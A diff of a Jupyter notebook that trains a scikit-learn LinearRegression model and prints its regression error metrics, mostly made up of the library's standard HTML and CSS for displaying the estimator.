+              "  /* Default theme specific background. It is overwritten whether we have a\n",
+              "  specific estimator or a Pipeline/ColumnTransformer */\n",
+              "  background-color: var(--sklearn-color-background);\n",
+              "}\n",
+              "\n",
+              "/* Toggleable label */\n",
+              "#sk-container-id-6 label.sk-toggleable__label {\n",
+              "  cursor: pointer;\n",
+              "  display: flex;\n",
+              "  width: 100%;\n",
+              "  margin-bottom: 0;\n",
+              "  padding: 0.5em;\n",
+              "  box-sizing: border-box;\n",
+              "  text-align: center;\n",
+              "  align-items: start;\n",
+              "  justify-content: space-between;\n",
+              "  gap: 0.5em;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 label.sk-toggleable__label .caption {\n",
+              "  font-size: 0.6rem;\n",
+              "  font-weight: lighter;\n",
+              "  color: var(--sklearn-color-text-muted);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 label.sk-toggleable__label-arrow:before {\n",
+              "  /* Arrow on the left of the label */\n",
+              "  content: \"▸\";\n",
+              "  float: left;\n",
+              "  margin-right: 0.25em;\n",
+              "  color: var(--sklearn-color-icon);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 label.sk-toggleable__label-arrow:hover:before {\n",
+              "  color: var(--sklearn-color-text);\n",
+              "}\n",
+              "\n",
+              "/* Toggleable content - dropdown */\n",
+              "\n",
+              "#sk-container-id-6 div.sk-toggleable__content {\n",
+              "  max-height: 0;\n",
+              "  max-width: 0;\n",
+              "  overflow: hidden;\n",
+              "  text-align: left;\n",
+              "  /* unfitted */\n",
+              "  background-color: var(--sklearn-color-unfitted-level-0);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-toggleable__content.fitted {\n",
+              "  /* fitted */\n",
+              "  background-color: var(--sklearn-color-fitted-level-0);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-toggleable__content pre {\n",
+              "  margin: 0.2em;\n",
+              "  border-radius: 0.25em;\n",
+              "  color: var(--sklearn-color-text);\n",
+              "  /* unfitted */\n",
+              "  background-color: var(--sklearn-color-unfitted-level-0);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-toggleable__content.fitted pre {\n",
+              "  /* unfitted */\n",
+              "  background-color: var(--sklearn-color-fitted-level-0);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 input.sk-toggleable__control:checked~div.sk-toggleable__content {\n",
+              "  /* Expand drop-down */\n",
+              "  max-height: 200px;\n",
+              "  max-width: 100%;\n",
+              "  overflow: auto;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 input.sk-toggleable__control:checked~label.sk-toggleable__label-arrow:before {\n",
+              "  content: \"▾\";\n",
+              "}\n",
+              "\n",
+              "/* Pipeline/ColumnTransformer-specific style */\n",
+              "\n",
+              "#sk-container-id-6 div.sk-label input.sk-toggleable__control:checked~label.sk-toggleable__label {\n",
+              "  color: var(--sklearn-color-text);\n",
+              "  background-color: var(--sklearn-color-unfitted-level-2);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-label.fitted input.sk-toggleable__control:checked~label.sk-toggleable__label {\n",
+              "  background-color: var(--sklearn-color-fitted-level-2);\n",
+              "}\n",
+              "\n",
+              "/* Estimator-specific style */\n",
+              "\n",
+              "/* Colorize estimator box */\n",
+              "#sk-container-id-6 div.sk-estimator input.sk-toggleable__control:checked~label.sk-toggleable__label {\n",
+              "  /* unfitted */\n",
+              "  background-color: var(--sklearn-color-unfitted-level-2);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-estimator.fitted input.sk-toggleable__control:checked~label.sk-toggleable__label {\n",
+              "  /* fitted */\n",
+              "  background-color: var(--sklearn-color-fitted-level-2);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-label label.sk-toggleable__label,\n",
+              "#sk-container-id-6 div.sk-label label {\n",
+              "  /* The background is the default theme color */\n",
+              "  color: var(--sklearn-color-text-on-default-background);\n",
+              "}\n",
+              "\n",
+              "/* On hover, darken the color of the background */\n",
+              "#sk-container-id-6 div.sk-label:hover label.sk-toggleable__label {\n",
+              "  color: var(--sklearn-color-text);\n",
+              "  background-color: var(--sklearn-color-unfitted-level-2);\n",
+              "}\n",
+              "\n",
+              "/* Label box, darken color on hover, fitted */\n",
+              "#sk-container-id-6 div.sk-label.fitted:hover label.sk-toggleable__label.fitted {\n",
+              "  color: var(--sklearn-color-text);\n",
+              "  background-color: var(--sklearn-color-fitted-level-2);\n",
+              "}\n",
+              "\n",
+              "/* Estimator label */\n",
+              "\n",
+              "#sk-container-id-6 div.sk-label label {\n",
+              "  font-family: monospace;\n",
+              "  font-weight: bold;\n",
+              "  display: inline-block;\n",
+              "  line-height: 1.2em;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-label-container {\n",
+              "  text-align: center;\n",
+              "}\n",
+              "\n",
+              "/* Estimator-specific */\n",
+              "#sk-container-id-6 div.sk-estimator {\n",
+              "  font-family: monospace;\n",
+              "  border: 1px dotted var(--sklearn-color-border-box);\n",
+              "  border-radius: 0.25em;\n",
+              "  box-sizing: border-box;\n",
+              "  margin-bottom: 0.5em;\n",
+              "  /* unfitted */\n",
+              "  background-color: var(--sklearn-color-unfitted-level-0);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-estimator.fitted {\n",
+              "  /* fitted */\n",
+              "  background-color: var(--sklearn-color-fitted-level-0);\n",
+              "}\n",
+              "\n",
+              "/* on hover */\n",
+              "#sk-container-id-6 div.sk-estimator:hover {\n",
+              "  /* unfitted */\n",
+              "  background-color: var(--sklearn-color-unfitted-level-2);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-estimator.fitted:hover {\n",
+              "  /* fitted */\n",
+              "  background-color: var(--sklearn-color-fitted-level-2);\n",
+              "}\n",
+              "\n",
+              "/* Specification for estimator info (e.g. \"i\" and \"?\") */\n",
+              "\n",
+              "/* Common style for \"i\" and \"?\" */\n",
+              "\n",
+              ".sk-estimator-doc-link,\n",
+              "a:link.sk-estimator-doc-link,\n",
+              "a:visited.sk-estimator-doc-link {\n",
+              "  float: right;\n",
+              "  font-size: smaller;\n",
+              "  line-height: 1em;\n",
+              "  font-family: monospace;\n",
+              "  background-color: var(--sklearn-color-background);\n",
+              "  border-radius: 1em;\n",
+              "  height: 1em;\n",
+              "  width: 1em;\n",
+              "  text-decoration: none !important;\n",
+              "  margin-left: 0.5em;\n",
+              "  text-align: center;\n",
+              "  /* unfitted */\n",
+              "  border: var(--sklearn-color-unfitted-level-1) 1pt solid;\n",
+              "  color: var(--sklearn-color-unfitted-level-1);\n",
+              "}\n",
+              "\n",
+              ".sk-estimator-doc-link.fitted,\n",
+              "a:link.sk-estimator-doc-link.fitted,\n",
+              "a:visited.sk-estimator-doc-link.fitted {\n",
+              "  /* fitted */\n",
+              "  border: var(--sklearn-color-fitted-level-1) 1pt solid;\n",
+              "  color: var(--sklearn-color-fitted-level-1);\n",
+              "}\n",
+              "\n",
+              "/* On hover */\n",
+              "div.sk-estimator:hover .sk-estimator-doc-link:hover,\n",
+              ".sk-estimator-doc-link:hover,\n",
+              "div.sk-label-container:hover .sk-estimator-doc-link:hover,\n",
+              ".sk-estimator-doc-link:hover {\n",
+              "  /* unfitted */\n",
+              "  background-color: var(--sklearn-color-unfitted-level-3);\n",
+              "  color: var(--sklearn-color-background);\n",
+              "  text-decoration: none;\n",
+              "}\n",
+              "\n",
+              "div.sk-estimator.fitted:hover .sk-estimator-doc-link.fitted:hover,\n",
+              ".sk-estimator-doc-link.fitted:hover,\n",
+              "div.sk-label-container:hover .sk-estimator-doc-link.fitted:hover,\n",
+              ".sk-estimator-doc-link.fitted:hover {\n",
+              "  /* fitted */\n",
+              "  background-color: var(--sklearn-color-fitted-level-3);\n",
+              "  color: var(--sklearn-color-background);\n",
+              "  text-decoration: none;\n",
+              "}\n",
+              "\n",
+              "/* Span, style for the box shown on hovering the info icon */\n",
+              ".sk-estimator-doc-link span {\n",
+              "  display: none;\n",
+              "  z-index: 9999;\n",
+              "  position: relative;\n",
+              "  font-weight: normal;\n",
+              "  right: .2ex;\n",
+              "  padding: .5ex;\n",
+              "  margin: .5ex;\n",
+              "  width: min-content;\n",
+              "  min-width: 20ex;\n",
+              "  max-width: 50ex;\n",
+              "  color: var(--sklearn-color-text);\n",
+              "  box-shadow: 2pt 2pt 4pt #999;\n",
+              "  /* unfitted */\n",
+              "  background: var(--sklearn-color-unfitted-level-0);\n",
+              "  border: .5pt solid var(--sklearn-color-unfitted-level-3);\n",
+              "}\n",
+              "\n",
+              ".sk-estimator-doc-link.fitted span {\n",
+              "  /* fitted */\n",
+              "  background: var(--sklearn-color-fitted-level-0);\n",
+              "  border: var(--sklearn-color-fitted-level-3);\n",
+              "}\n",
+              "\n",
+              ".sk-estimator-doc-link:hover span {\n",
+              "  display: block;\n",
+              "}\n",
+              "\n",
+              "/* \"?\"-specific style due to the `<a>` HTML tag */\n",
+              "\n",
+              "#sk-container-id-6 a.estimator_doc_link {\n",
+              "  float: right;\n",
+              "  font-size: 1rem;\n",
+              "  line-height: 1em;\n",
+              "  font-family: monospace;\n",
+              "  background-color: var(--sklearn-color-background);\n",
+              "  border-radius: 1rem;\n",
+              "  height: 1rem;\n",
+              "  width: 1rem;\n",
+              "  text-decoration: none;\n",
+              "  /* unfitted */\n",
+              "  color: var(--sklearn-color-unfitted-level-1);\n",
+              "  border: var(--sklearn-color-unfitted-level-1) 1pt solid;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 a.estimator_doc_link.fitted {\n",
+              "  /* fitted */\n",
+              "  border: var(--sklearn-color-fitted-level-1) 1pt solid;\n",
+              "  color: var(--sklearn-color-fitted-level-1);\n",
+              "}\n",
+              "\n",
+              "/* On hover */\n",
+              "#sk-container-id-6 a.estimator_doc_link:hover {\n",
+              "  /* unfitted */\n",
+              "  background-color: var(--sklearn-color-unfitted-level-3);\n",
+              "  color: var(--sklearn-color-background);\n",
+              "  text-decoration: none;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 a.estimator_doc_link.fitted:hover {\n",
+              "  /* fitted */\n",
+              "  background-color: var(--sklearn-color-fitted-level-3);\n",
+              "}\n",
+              "</style><div id=\"sk-container-id-6\" class=\"sk-top-container\"><div class=\"sk-text-repr-fallback\"><pre>LinearRegression()</pre><b>In a Jupyter environment, please rerun this cell to show the HTML representation or trust the notebook. <br />On GitHub, the HTML representation is unable to render, please try loading this page with nbviewer.org.</b></div><div class=\"sk-container\" hidden><div class=\"sk-item\"><div class=\"sk-estimator fitted sk-toggleable\"><input class=\"sk-toggleable__control sk-hidden--visually\" id=\"sk-estimator-id-6\" type=\"checkbox\" checked><label for=\"sk-estimator-id-6\" class=\"sk-toggleable__label fitted sk-toggleable__label-arrow\"><div><div>LinearRegression</div></div><div><a class=\"sk-estimator-doc-link fitted\" rel=\"noreferrer\" target=\"_blank\" href=\"https://scikit-learn.org/1.6/modules/generated/sklearn.linear_model.LinearRegression.html\">?<span>Documentation for LinearRegression</span></a><span class=\"sk-estimator-doc-link fitted\">i<span>Fitted</span></span></div></label><div class=\"sk-toggleable__content fitted\"><pre>LinearRegression()</pre></div> </div></div></div></div>"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 305
+        }
       ],
-      "text/plain": [
-       "LinearRegression()"
+      "source": [
+        "# Train the model on the training set\n",
+        "model.fit(X_train, y_train)\n"
       ]
-     },
-     "execution_count": 31,
-     "metadata": {},
-     "output_type": "execute_result"
-    }
-   ],
-   "source": [
-    "# Train the model on the training set\n",
-    "model.fit(X_train, y_train)\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 33,
-   "id": "35ee18c7",
-   "metadata": {},
-   "outputs": [
+    },
     {
-     "name": "stdout",
-     "output_type": "stream",
-     "text": [
-      "Mean Absolute Error (MAE): 0.1962694922431582\n",
-      "Mean Squared Error (MSE): 0.06482371069048182\n",
-      "Root Mean Squared Error (RMSE): 0.2546050091621958\n",
-      "R² Score: 0.661408769854739\n"
-     ]
-    }
-   ],
-   "source": [
-    "from sklearn.metrics import mean_absolute_error, root_mean_squared_error, r2_score, mean_squared_error\n",
-    "\n",
-    "# Make predictions on the test set\n",
-    "y_pred = model.predict(X_test)\n",
-    "\n",
-    "# Calculate evaluation metrics\n",
-    "mae = mean_absolute_error(y_test, y_pred)   # Mean Absolute Error\n",
-    "mse = mean_squared_error(y_test, y_pred)    # Mean Squared Error\n",
-    "rmse = root_mean_squared_error(y_test, y_pred)  # Root Mean Squared Error\n",
-    "r2 = r2_score(y_test, y_pred)               # R-squared (coefficient of determination)\n",
-    "\n",
-    "# Print results\n",
-    "print(\"Mean Absolute Error (MAE):\", mae)\n",
-    "print(\"Mean Squared Error (MSE):\", mse)\n",
-    "print(\"Root Mean Squared Error (RMSE):\", rmse)\n",
-    "print(\"R² Score:\", r2)\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 34,
-   "id": "a1cf82f7",
-   "metadata": {},
-   "outputs": [
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "35ee18c7",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "35ee18c7",
+        "outputId": "57dbe3f9-4979-4717-bd84-a00e90f8561e"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Mean Absolute Error (MAE): 0.19626949224315823\n",
+            "Mean Squared Error (MSE): 0.06482371069048183\n",
+            "Root Mean Squared Error (RMSE): 0.25460500916219586\n",
+            "R² Score: 0.6614087698547388\n"
+          ]
+        }
+      ],
+      "source": [
+        "from sklearn.metrics import mean_absolute_error, root_mean_squared_error, r2_score, mean_squared_error\n",
+        "\n",
+        "# Make predictions on the test set\n",
+        "y_pred = model.predict(X_test)\n",
+        "\n",
+        "# Calculate evaluation metrics\n",
+        "mae = mean_absolute_error(y_test, y_pred)   # Mean Absolute Error\n",
+        "mse = mean_squared_error(y_test, y_pred)    # Mean Squared Error\n",
+        "rmse = root_mean_squared_error(y_test, y_pred)  # Root Mean Squared Error\n",
+        "r2 = r2_score(y_test, y_pred)               # R-squared (coefficient of determination)\n",
+        "\n",
+        "# Print results\n",
+        "print(\"Mean Absolute Error (MAE):\", mae)\n",
+        "print(\"Mean Squared Error (MSE):\", mse)\n",
+        "print(\"Root Mean Squared Error (RMSE):\", rmse)\n",
+        "print(\"R² Score:\", r2)\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "a1cf82f7",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 433
+        },
+        "id": "a1cf82f7",
+        "outputId": "ff6979ad-5712-4bf1-b7fd-bd21db88c91f"
+      },
+      "outputs": [
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "<Figure size 1000x500 with 1 Axes>"
+            ],
+            "image/png": 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